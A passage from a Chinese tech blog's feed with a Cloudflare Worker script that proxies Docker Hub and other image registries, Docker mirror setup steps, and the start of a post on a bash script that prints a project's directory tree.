class="line">216</span><br><span class="line">217</span><br><span class="line">218</span><br><span class="line">219</span><br><span class="line">220</span><br><span class="line">221</span><br><span class="line">222</span><br><span class="line">223</span><br><span class="line">224</span><br><span class="line">225</span><br><span class="line">226</span><br><span class="line">227</span><br><span class="line">228</span><br><span class="line">229</span><br><span class="line">230</span><br><span class="line">231</span><br><span class="line">232</span><br><span class="line">233</span><br><span class="line">234</span><br><span class="line">235</span><br><span class="line">236</span><br><span class="line">237</span><br><span class="line">238</span><br><span class="line">239</span><br><span class="line">240</span><br><span class="line">241</span><br><span class="line">242</span><br><span class="line">243</span><br><span class="line">244</span><br><span class="line">245</span><br><span class="line">246</span><br><span class="line">247</span><br><span class="line">248</span><br><span class="line">249</span><br><span class="line">250</span><br><span class="line">251</span><br><span class="line">252</span><br><span class="line">253</span><br><span class="line">254</span><br><span class="line">255</span><br><span class="line">256</span><br><span class="line">257</span><br><span class="line">258</span><br><span class="line">259</span><br><span class="line">260</span><br><span class="line">261</span><br><span class="line">262</span><br><span class="line">263</span><br><span class="line">264</span><br><span class="line">265</span><br><span class="line">266</span><br><span class="line">267</span><br><span class="line">268</span><br><span class="line">269</span><br><span class="line">270</span><br><span class="line">271</span><br><span class="line">272</span><br><span class="line">273</span><br><span class="line">274</span><br><span class="line">275</span><br><span class="line">276</span><br><span class="line">277</span><br><span class="line">278</span><br><span class="line">279</span><br><span class="line">280</span><br><span class="line">281</span><br><span class="line">282</span><br><span class="line">283</span><br><span class="line">284</span><br><span class="line">285</span><br><span class="line">286</span><br><span class="line">287</span><br><span class="line">288</span><br><span class="line">289</span><br><span class="line">290</span><br><span class="line">291</span><br><span class="line">292</span><br><span class="line">293</span><br><span class="line">294</span><br><span class="line">295</span><br><span class="line">296</span><br><span class="line">297</span><br><span class="line">298</span><br><span class="line">299</span><br><span class="line">300</span><br><span class="line">301</span><br><span class="line">302</span><br><span class="line">303</span><br><span class="line">304</span><br><span class="line">305</span><br><span class="line">306</span><br><span class="line">307</span><br><span class="line">308</span><br><span class="line">309</span><br><span class="line">310</span><br><span class="line">311</span><br><span class="line">312</span><br><span class="line">313</span><br><span class="line">314</span><br><span class="line">315</span><br><span class="line">316</span><br><span class="line">317</span><br><span class="line">318</span><br><span class="line">319</span><br><span class="line">320</span><br><span class="line">321</span><br><span class="line">322</span><br><span class="line">323</span><br><span class="line">324</span><br><span class="line">325</span><br><span class="line">326</span><br><span class="line">327</span><br><span class="line">328</span><br><span class="line">329</span><br><span class="line">330</span><br><span class="line">331</span><br><span class="line">332</span><br><span class="line">333</span><br><span class="line">334</span><br><span class="line">335</span><br><span class="line">336</span><br><span class="line">337</span><br><span class="line">338</span><br><span class="line">339</span><br><span class="line">340</span><br><span class="line">341</span><br><span class="line">342</span><br></pre></td><td class="code"><pre><span class="line">// _worker.js</span><br><span class="line"></span><br><span class="line">// Docker镜像仓库主机地址</span><br><span class="line">let hub_host = &#x27;registry-1.docker.io&#x27;</span><br><span class="line">// Docker认证服务器地址</span><br><span class="line">const auth_url = &#x27;https://auth.docker.io&#x27;</span><br><span class="line">// 自定义的工作服务器地址</span><br><span class="line">let workers_url = &#x27;https://你的域名&#x27;</span><br><span class="line"></span><br><span class="line">let 屏蔽爬虫UA = [&#x27;netcraft&#x27;];</span><br><span class="line"></span><br><span class="line">// 根据主机名选择对应的上游地址</span><br><span class="line">function routeByHosts(host) &#123;</span><br><span class="line">// 定义路由表</span><br><span class="line">const routes = &#123;</span><br><span class="line">// 生产环境</span><br><span class="line">&quot;quay&quot;: &quot;quay.io&quot;,</span><br><span class="line">&quot;gcr&quot;: &quot;gcr.io&quot;,</span><br><span class="line">&quot;k8s-gcr&quot;: &quot;k8s.gcr.io&quot;,</span><br><span class="line">&quot;k8s&quot;: &quot;registry.k8s.io&quot;,</span><br><span class="line">&quot;ghcr&quot;: &quot;ghcr.io&quot;,</span><br><span class="line">&quot;cloudsmith&quot;: &quot;docker.cloudsmith.io&quot;,</span><br><span class="line"></span><br><span class="line">// 测试环境</span><br><span class="line">&quot;test&quot;: &quot;registry-1.docker.io&quot;,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">if (host in routes) return [ routes[host], false ];</span><br><span class="line">else return [ hub_host, true ];</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/** @type &#123;RequestInit&#125; */</span><br><span class="line">const PREFLIGHT_INIT = &#123;</span><br><span class="line">// 预检请求配置</span><br><span class="line">headers: new Headers(&#123;</span><br><span class="line">&#x27;access-control-allow-origin&#x27;: &#x27;*&#x27;, // 允许所有来源</span><br><span class="line">&#x27;access-control-allow-methods&#x27;: &#x27;GET,POST,PUT,PATCH,TRACE,DELETE,HEAD,OPTIONS&#x27;, // 允许的HTTP方法</span><br><span class="line">&#x27;access-control-max-age&#x27;: &#x27;1728000&#x27;, // 预检请求的缓存时间</span><br><span class="line">&#125;),</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 构造响应</span><br><span class="line"> * @param &#123;any&#125; body 响应体</span><br><span class="line"> * @param &#123;number&#125; status 响应状态码</span><br><span class="line"> * @param &#123;Object&lt;string, string&gt;&#125; headers 响应头</span><br><span class="line"> */</span><br><span class="line">function makeRes(body, status = 200, headers = &#123;&#125;) &#123;</span><br><span class="line">headers[&#x27;access-control-allow-origin&#x27;] = &#x27;*&#x27; // 允许所有来源</span><br><span class="line">return new Response(body, &#123; status, headers &#125;) // 返回新构造的响应</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 构造新的URL对象</span><br><span class="line"> * @param &#123;string&#125; urlStr URL字符串</span><br><span class="line"> */</span><br><span class="line">function newUrl(urlStr) &#123;</span><br><span class="line">try &#123;</span><br><span class="line">return new URL(urlStr) // 尝试构造新的URL对象</span><br><span class="line">&#125; catch (err) &#123;</span><br><span class="line">return null // 构造失败返回null</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">function isUUID(uuid) &#123;</span><br><span class="line">// 定义一个正则表达式来匹配 UUID 格式</span><br><span class="line">const uuidRegex = /^[0-9a-f]&#123;8&#125;-[0-9a-f]&#123;4&#125;-[4][0-9a-f]&#123;3&#125;-[89ab][0-9a-f]&#123;3&#125;-[0-9a-f]&#123;12&#125;$/i;</span><br><span class="line"></span><br><span class="line">// 使用正则表达式测试 UUID 字符串</span><br><span class="line">return uuidRegex.test(uuid);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">async function nginx() &#123;</span><br><span class="line">const text = `</span><br><span class="line">&lt;!DOCTYPE html&gt;</span><br><span class="line">&lt;html&gt;</span><br><span class="line">&lt;head&gt;</span><br><span class="line">&lt;title&gt;Welcome to nginx!&lt;/title&gt;</span><br><span class="line">&lt;style&gt;</span><br><span class="line">body &#123;</span><br><span class="line">width: 35em;</span><br><span class="line">margin: 0 auto;</span><br><span class="line">font-family: Tahoma, Verdana, Arial, sans-serif;</span><br><span class="line">&#125;</span><br><span class="line">&lt;/style&gt;</span><br><span class="line">&lt;/head&gt;</span><br><span class="line">&lt;body&gt;</span><br><span class="line">&lt;h1&gt;Welcome to nginx!&lt;/h1&gt;</span><br><span class="line">&lt;p&gt;If you see this page, the nginx web server is successfully installed and</span><br><span class="line">working. Further configuration is required.&lt;/p&gt;</span><br><span class="line"></span><br><span class="line">&lt;p&gt;For online documentation and support please refer to</span><br><span class="line">&lt;a href=&quot;http://nginx.org/&quot;&gt;nginx.org&lt;/a&gt;.&lt;br/&gt;</span><br><span class="line">Commercial support is available at</span><br><span class="line">&lt;a href=&quot;http://nginx.com/&quot;&gt;nginx.com&lt;/a&gt;.&lt;/p&gt;</span><br><span class="line"></span><br><span class="line">&lt;p&gt;&lt;em&gt;Thank you for using nginx.&lt;/em&gt;&lt;/p&gt;</span><br><span class="line">&lt;/body&gt;</span><br><span class="line">&lt;/html&gt;</span><br><span class="line">`</span><br><span class="line">return text ;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">export default &#123;</span><br><span class="line">async fetch(request, env, ctx) &#123;</span><br><span class="line">const getReqHeader = (key) =&gt; request.headers.get(key); // 获取请求头</span><br><span class="line"></span><br><span class="line">let url = new URL(request.url); // 解析请求URL</span><br><span class="line">const userAgentHeader = request.headers.get(&#x27;User-Agent&#x27;);</span><br><span class="line">const userAgent = userAgentHeader ? userAgentHeader.toLowerCase() : &quot;null&quot;;</span><br><span class="line">if (env.UA) 屏蔽爬虫UA = 屏蔽爬虫UA.concat(await ADD(env.UA));</span><br><span class="line">workers_url = `https://$&#123;url.hostname&#125;`;</span><br><span class="line">const pathname = url.pathname;</span><br><span class="line">const hostname = url.searchParams.get(&#x27;hubhost&#x27;) || url.hostname; </span><br><span class="line">const hostTop = hostname.split(&#x27;.&#x27;)[0];// 获取主机名的第一部分</span><br><span class="line">const checkHost = routeByHosts(hostTop);</span><br><span class="line">hub_host = checkHost[0]; // 获取上游地址</span><br><span class="line">const fakePage = checkHost[1];</span><br><span class="line">console.log(`域名头部: $&#123;hostTop&#125;\n反代地址: $&#123;hub_host&#125;\n伪装首页: $&#123;fakePage&#125;`);</span><br><span class="line">const isUuid = isUUID(pathname.split(&#x27;/&#x27;)[1].split(&#x27;/&#x27;)[0]);</span><br><span class="line"></span><br><span class="line">if (屏蔽爬虫UA.some(fxxk =&gt; userAgent.includes(fxxk)) &amp;&amp; 屏蔽爬虫UA.length &gt; 0)&#123;</span><br><span class="line">//首页改成一个nginx伪装页</span><br><span class="line">return new Response(await nginx(), &#123;</span><br><span class="line">headers: &#123;</span><br><span class="line">&#x27;Content-Type&#x27;: &#x27;text/html; charset=UTF-8&#x27;,</span><br><span class="line">&#125;,</span><br><span class="line">&#125;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">const conditions = [</span><br><span class="line">isUuid,</span><br><span class="line">pathname.includes(&#x27;/_&#x27;),</span><br><span class="line">pathname.includes(&#x27;/r&#x27;),</span><br><span class="line">pathname.includes(&#x27;/v2/user&#x27;),</span><br><span class="line">pathname.includes(&#x27;/v2/orgs&#x27;),</span><br><span class="line">pathname.includes(&#x27;/v2/_catalog&#x27;),</span><br><span class="line">pathname.includes(&#x27;/v2/categories&#x27;),</span><br><span class="line">pathname.includes(&#x27;/v2/feature-flags&#x27;),</span><br><span class="line">pathname.includes(&#x27;search&#x27;),</span><br><span class="line">pathname.includes(&#x27;source&#x27;),</span><br><span class="line">pathname === &#x27;/&#x27;,</span><br><span class="line">pathname === &#x27;/favicon.ico&#x27;,</span><br><span class="line">pathname === &#x27;/auth/profile&#x27;,</span><br><span class="line">];</span><br><span class="line"></span><br><span class="line">if (conditions.some(condition =&gt; condition) &amp;&amp; (fakePage === true || hostTop == &#x27;docker&#x27;)) &#123;</span><br><span class="line">if (env.URL302)&#123;</span><br><span class="line">return Response.redirect(env.URL302, 302);</span><br><span class="line">&#125; else if (env.URL)&#123;</span><br><span class="line">if (env.URL.toLowerCase() == &#x27;nginx&#x27;)&#123;</span><br><span class="line">//首页改成一个nginx伪装页</span><br><span class="line">return new Response(await nginx(), &#123;</span><br><span class="line">headers: &#123;</span><br><span class="line">&#x27;Content-Type&#x27;: &#x27;text/html; charset=UTF-8&#x27;,</span><br><span class="line">&#125;,</span><br><span class="line">&#125;);</span><br><span class="line">&#125; else return fetch(new Request(env.URL, request));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">const newUrl = new URL(&quot;https://registry.hub.docker.com&quot; + pathname + url.search);</span><br><span class="line"></span><br><span class="line">// 复制原始请求的标头</span><br><span class="line">const headers = new Headers(request.headers);</span><br><span class="line"></span><br><span class="line">// 确保 Host 头部被替换为 hub.docker.com</span><br><span class="line">headers.set(&#x27;Host&#x27;, &#x27;registry.hub.docker.com&#x27;);</span><br><span class="line"></span><br><span class="line">const newRequest = new Request(newUrl, &#123;</span><br><span class="line">method: request.method,</span><br><span class="line">headers: headers,</span><br><span class="line">body: request.method !== &#x27;GET&#x27; &amp;&amp; request.method !== &#x27;HEAD&#x27; ? await request.blob() : null,</span><br><span class="line">redirect: &#x27;follow&#x27;</span><br><span class="line">&#125;);</span><br><span class="line"></span><br><span class="line">return fetch(newRequest);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 修改包含 %2F 和 %3A 的请求</span><br><span class="line">if (!/%2F/.test(url.search) &amp;&amp; /%3A/.test(url.toString())) &#123;</span><br><span class="line">let modifiedUrl = url.toString().replace(/%3A(?=.*?&amp;)/, &#x27;%3Alibrary%2F&#x27;);</span><br><span class="line">url = new URL(modifiedUrl);</span><br><span class="line">console.log(`handle_url: $&#123;url&#125;`)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 处理token请求</span><br><span class="line">if (url.pathname.includes(&#x27;/token&#x27;)) &#123;</span><br><span class="line">let token_parameter = &#123;</span><br><span class="line">headers: &#123;</span><br><span class="line">&#x27;Host&#x27;: &#x27;auth.docker.io&#x27;,</span><br><span class="line">&#x27;User-Agent&#x27;: getReqHeader(&quot;User-Agent&quot;),</span><br><span class="line">&#x27;Accept&#x27;: getReqHeader(&quot;Accept&quot;),</span><br><span class="line">&#x27;Accept-Language&#x27;: getReqHeader(&quot;Accept-Language&quot;),</span><br><span class="line">&#x27;Accept-Encoding&#x27;: getReqHeader(&quot;Accept-Encoding&quot;),</span><br><span class="line">&#x27;Connection&#x27;: &#x27;keep-alive&#x27;,</span><br><span class="line">&#x27;Cache-Control&#x27;: &#x27;max-age=0&#x27;</span><br><span class="line">&#125;</span><br><span class="line">&#125;;</span><br><span class="line">let token_url = auth_url + url.pathname + url.search</span><br><span class="line">return fetch(new Request(token_url, request), token_parameter)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 修改 /v2/ 请求路径</span><br><span class="line">if (/^\/v2\/[^/]+\/[^/]+\/[^/]+$/.test(url.pathname) &amp;&amp; !/^\/v2\/library/.test(url.pathname)) &#123;</span><br><span class="line">url.pathname = url.pathname.replace(/\/v2\//, &#x27;/v2/library/&#x27;);</span><br><span class="line">console.log(`modified_url: $&#123;url.pathname&#125;`)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 更改请求的主机名</span><br><span class="line">url.hostname = hub_host;</span><br><span class="line"></span><br><span class="line">// 构造请求参数</span><br><span class="line">let parameter = &#123;</span><br><span class="line">headers: &#123;</span><br><span class="line">&#x27;Host&#x27;: hub_host,</span><br><span class="line">&#x27;User-Agent&#x27;: getReqHeader(&quot;User-Agent&quot;),</span><br><span class="line">&#x27;Accept&#x27;: getReqHeader(&quot;Accept&quot;),</span><br><span class="line">&#x27;Accept-Language&#x27;: getReqHeader(&quot;Accept-Language&quot;),</span><br><span class="line">&#x27;Accept-Encoding&#x27;: getReqHeader(&quot;Accept-Encoding&quot;),</span><br><span class="line">&#x27;Connection&#x27;: &#x27;keep-alive&#x27;,</span><br><span class="line">&#x27;Cache-Control&#x27;: &#x27;max-age=0&#x27;</span><br><span class="line">&#125;,</span><br><span class="line">cacheTtl: 3600 // 缓存时间</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">// 添加Authorization头</span><br><span class="line">if (request.headers.has(&quot;Authorization&quot;)) &#123;</span><br><span class="line">parameter.headers.Authorization = getReqHeader(&quot;Authorization&quot;);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 发起请求并处理响应</span><br><span class="line">let original_response = await fetch(new Request(url, request), parameter)</span><br><span class="line">let original_response_clone = original_response.clone();</span><br><span class="line">let original_text = original_response_clone.body;</span><br><span class="line">let response_headers = original_response.headers;</span><br><span class="line">let new_response_headers = new Headers(response_headers);</span><br><span class="line">let status = original_response.status;</span><br><span class="line"></span><br><span class="line">// 修改 Www-Authenticate 头</span><br><span class="line">if (new_response_headers.get(&quot;Www-Authenticate&quot;)) &#123;</span><br><span class="line">let auth = new_response_headers.get(&quot;Www-Authenticate&quot;);</span><br><span class="line">let re = new RegExp(auth_url, &#x27;g&#x27;);</span><br><span class="line">new_response_headers.set(&quot;Www-Authenticate&quot;, response_headers.get(&quot;Www-Authenticate&quot;).replace(re, workers_url));</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 处理重定向</span><br><span class="line">if (new_response_headers.get(&quot;Location&quot;)) &#123;</span><br><span class="line">return httpHandler(request, new_response_headers.get(&quot;Location&quot;))</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">// 返回修改后的响应</span><br><span class="line">let response = new Response(original_text, &#123;</span><br><span class="line">status,</span><br><span class="line">headers: new_response_headers</span><br><span class="line">&#125;)</span><br><span class="line">return response;</span><br><span class="line">&#125;</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 处理HTTP请求</span><br><span class="line"> * @param &#123;Request&#125; req 请求对象</span><br><span class="line"> * @param &#123;string&#125; pathname 请求路径</span><br><span class="line"> */</span><br><span class="line">function httpHandler(req, pathname) &#123;</span><br><span class="line">const reqHdrRaw = req.headers</span><br><span class="line"></span><br><span class="line">// 处理预检请求</span><br><span class="line">if (req.method === &#x27;OPTIONS&#x27; &amp;&amp;</span><br><span class="line">reqHdrRaw.has(&#x27;access-control-request-headers&#x27;)</span><br><span class="line">) &#123;</span><br><span class="line">return new Response(null, PREFLIGHT_INIT)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">let rawLen = &#x27;&#x27;</span><br><span class="line"></span><br><span class="line">const reqHdrNew = new Headers(reqHdrRaw)</span><br><span class="line"></span><br><span class="line">const refer = reqHdrNew.get(&#x27;referer&#x27;)</span><br><span class="line"></span><br><span class="line">let urlStr = pathname</span><br><span class="line"></span><br><span class="line">const urlObj = newUrl(urlStr)</span><br><span class="line"></span><br><span class="line">/** @type &#123;RequestInit&#125; */</span><br><span class="line">const reqInit = &#123;</span><br><span class="line">method: req.method,</span><br><span class="line">headers: reqHdrNew,</span><br><span class="line">redirect: &#x27;follow&#x27;,</span><br><span class="line">body: req.body</span><br><span class="line">&#125;</span><br><span class="line">return proxy(urlObj, reqInit, rawLen)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">/**</span><br><span class="line"> * 代理请求</span><br><span class="line"> * @param &#123;URL&#125; urlObj URL对象</span><br><span class="line"> * @param &#123;RequestInit&#125; reqInit 请求初始化对象</span><br><span class="line"> * @param &#123;string&#125; rawLen 原始长度</span><br><span class="line"> */</span><br><span class="line">async function proxy(urlObj, reqInit, rawLen) &#123;</span><br><span class="line">const res = await fetch(urlObj.href, reqInit)</span><br><span class="line">const resHdrOld = res.headers</span><br><span class="line">const resHdrNew = new Headers(resHdrOld)</span><br><span class="line"></span><br><span class="line">// 验证长度</span><br><span class="line">if (rawLen) &#123;</span><br><span class="line">const newLen = resHdrOld.get(&#x27;content-length&#x27;) || &#x27;&#x27;</span><br><span class="line">const badLen = (rawLen !== newLen)</span><br><span class="line"></span><br><span class="line">if (badLen) &#123;</span><br><span class="line">return makeRes(res.body, 400, &#123;</span><br><span class="line">&#x27;--error&#x27;: `bad len: $&#123;newLen&#125;, except: $&#123;rawLen&#125;`,</span><br><span class="line">&#x27;access-control-expose-headers&#x27;: &#x27;--error&#x27;,</span><br><span class="line">&#125;)</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line">const status = res.status</span><br><span class="line">resHdrNew.set(&#x27;access-control-expose-headers&#x27;, &#x27;*&#x27;)</span><br><span class="line">resHdrNew.set(&#x27;access-control-allow-origin&#x27;, &#x27;*&#x27;)</span><br><span class="line">resHdrNew.set(&#x27;Cache-Control&#x27;, &#x27;max-age=1500&#x27;)</span><br><span class="line"></span><br><span class="line">// 删除不必要的头</span><br><span class="line">resHdrNew.delete(&#x27;content-security-policy&#x27;)</span><br><span class="line">resHdrNew.delete(&#x27;content-security-policy-report-only&#x27;)</span><br><span class="line">resHdrNew.delete(&#x27;clear-site-data&#x27;)</span><br><span class="line"></span><br><span class="line">return new Response(res.body, &#123;</span><br><span class="line">status,</span><br><span class="line">headers: resHdrNew</span><br><span class="line">&#125;)</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">async function ADD(envadd) &#123;</span><br><span class="line">var addtext = envadd.replace(/[ |&quot;&#x27;\r\n]+/g, &#x27;,&#x27;).replace(/,+/g, &#x27;,&#x27;);// 将空格、双引号、单引号和换行符替换为逗号</span><br><span class="line">//console.log(addtext);</span><br><span class="line">if (addtext.charAt(0) == &#x27;,&#x27;) addtext = addtext.slice(1);</span><br><span class="line">if (addtext.charAt(addtext.length -1) == &#x27;,&#x27;) addtext = addtext.slice(0, addtext.length - 1);</span><br><span class="line">const add = addtext.split(&#x27;,&#x27;);</span><br><span class="line">//console.log(add);</span><br><span class="line">return add ;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>先<code>send</code>尝试请求是否正常返回，然后点击<code>部署</code>按钮<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/feaa2bf32738fde273d1b11fda57517a.png" alt="部署"></p><h3 id="配置自己的域名">配置自己的域名</h3><p>自己域名的配置需要一段时间生效，稍作等待即可。<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/c149a01997905cc5f930666792a4305e.png" alt=""></p><h2 id="验证">验证</h2><h3 id="直接在浏览器种打开上述配置的域名">直接在浏览器种打开上述配置的域名</h3><p>在未开启代理的情况下很迅速的打开了docker<br><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/86514a1a70d36866c21208c5be8527ae.png" alt=""></p><h3 id="通过下载镜像测试">通过下载镜像测试</h3><p>首先执行以下命令配置环境，下面这个docker镜像链接是我的，记得替换成你自己的。执行之后可以正常拉取镜像就说明成功了。</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">sudo mkdir -p /etc/docker</span><br><span class="line">sudo tee /etc/docker/daemon.json &lt;&lt;-&#x27;EOF&#x27;</span><br><span class="line">&#123;</span><br><span class="line">  &quot;registry-mirrors&quot;: [&quot;https://dockerhub.allbs.xyz&quot;]</span><br><span class="line">&#125;</span><br><span class="line">EOF</span><br><span class="line">sudo systemctl daemon-reload</span><br><span class="line">sudo systemctl restart docker</span><br></pre></td></tr></table></figure><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/07/d446739b2b42713dceee57760f90b1a8.png" alt=""></p><h2 id="视频教程">视频教程</h2><div style="position: relative; width: 100%; height: 0; padding-bottom: 75%;">    <iframe src="//player.bilibili.com/player.html?bvid=BV1k1a5enEty&page=1" scrolling="no" border="0" frameborder="no" framespacing="0" allowfullscreen="true" style="position:absolute; height: 100%; width: 100%;"> </iframe></div>]]></content>
    
    
      
      
    <summary type="html">&lt;h2 id=&quot;背景&quot;&gt;背景&lt;/h2&gt;
&lt;p&gt;常使用docker的应该都知道，两年前因为那个不可说的原因，docker被墙了。但是国内还有各大厂商、高校的国内镜像，能够满足我们的日常需求。&lt;/p&gt;
&lt;p&gt;但是，今年6月份，各大高校厂商全部关闭了docker的国内镜像库。没有doc</summary>
      
    
    
    
    <category term="docker" scheme="https://blog.allbs.cn/categories/docker/"/>
    
    
    <category term="docker" scheme="https://blog.allbs.cn/tags/docker/"/>
    
  </entry>
  
  <entry>
    <title>如何将一个工程或者一个目录导出为树形结构</title>
    <link href="https://blog.allbs.cn/posts/13680/"/>
    <id>https://blog.allbs.cn/posts/13680/</id>
    <published>2024-06-03T03:57:00.000Z</published>
    <updated>2025-11-28T06:48:01.046Z</updated>
    
    <content type="html"><![CDATA[<blockquote><p>[!前言]<br>对于经常写笔记或者写文档得同学来说，经常会需要获取一个项目工程下得目录结构，那么如何在不需要下载或者安装插件来达到这个目的呢？</p></blockquote><h2 id="示例">示例</h2><h3 id="只含有三级目录">只含有三级目录</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/0747c8da143ff01f80da254578b46db4.png" alt=""></p><h3 id="包含文件得四级文件树">包含文件得四级文件树</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/790860951e8f44124360cc9fe572c4e2.png" alt=""></p><h3 id="指定忽略部分文件或者文件夹，比如target目录，logs目录">指定忽略部分文件或者文件夹，比如target目录，logs目录</h3><p><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/1395e2d07c09d65961754d4a0ab422cb.png" alt="image.png"></p><h2 id="使用方法">使用方法</h2><h3 id="新建脚本">新建脚本</h3><p>在你需要输出目录结构得文件夹下新建.sh脚本，名称随意，比如叫<code>tree.sh</code><br><img src="https://nas.allbs.cn:8888/cloudpic/2024/06/d2281dbe25a2bc17f56a5168462215dd.png" alt="image.png"></p><h3 id="输入脚本代码">输入脚本代码</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br><span class="line">127</span><br><span class="line">128</span><br><span class="line">129</span><br><span class="line">130</span><br><span class="line">131</span><br><span class="line">132</span><br><span class="line">133</span><br><span class="line">134</span><br><span class="line">135</span><br><span class="line">136</span><br><span class="line">137</span><br><span class="line">138</span><br><span class="line">139</span><br><span class="line">140</span><br><span class="line">141</span><br><span class="line">142</span><br><span class="line">143</span><br><span class="line">144</span><br><span class="line">145</span><br><span class="line">146</span><br><span class="line">147</span><br><span class="line">148</span><br><span class="line">149</span><br><span class="line">150</span><br><span class="line">151</span><br><span class="line">152</span><br><span class="line">153</span><br><span class="line">154</span><br><span class="line">155</span><br><span class="line">156</span><br><span class="line">157</span><br><span class="line">158</span><br><span class="line">159</span><br><span class="line">160</span><br><span class="line">161</span><br><span class="line">162</span><br><span class="line">163</span><br><span class="line">164</span><br><span class="line">165</span><br><span class="line">166</span><br><span class="line">167</span><br><span class="line">168</span><br><span class="line">169</span><br><span class="line">170</span><br><span class="line">171</span><br><span class="line">172</span><br><span class="line">173</span><br><span class="line">174</span><br><span class="line">175</span><br><span class="line">176</span><br><span class="line">177</span><br><span class="line">178</span><br><span class="line">179</span><br><span class="line">180</span><br></pre></td><td class="code"><pre><span class="line">#!/bin/bash</span><br><span class="line"></span><br><span class="line"># 获取当前脚本的名称</span><br><span class="line">script_name=$(basename &quot;$0&quot;)</span><br><span class="line">output_file=&quot;tree_output.txt&quot;</span><br><span class="line"></span><br><span class="line"># 定义读取 .gitignore 文件的函数</span><br><span class="line">read_gitignore() &#123;</span><br><span class="line">    local directory=&quot;$1&quot;</span><br><span class="line">    gitignore_file=&quot;$directory/.gitignore&quot;</span><br><span class="line">    if [[ -f &quot;$gitignore_file&quot; ]]; then</span><br><span class="line">        # 读取 .gitignore 文件并排除注释和空行</span><br><span class="line">        GITIGNORE_RULES=($(grep -Ev &#x27;^\s*#|^\s*$&#x27; &quot;$gitignore_file&quot;))</span><br><span class="line">    else</span><br><span class="line">        GITIGNORE_RULES=()</span><br><span class="line">    fi</span><br><span class="line">    # 将脚本名称和输出文件添加到排除列表</span><br><span 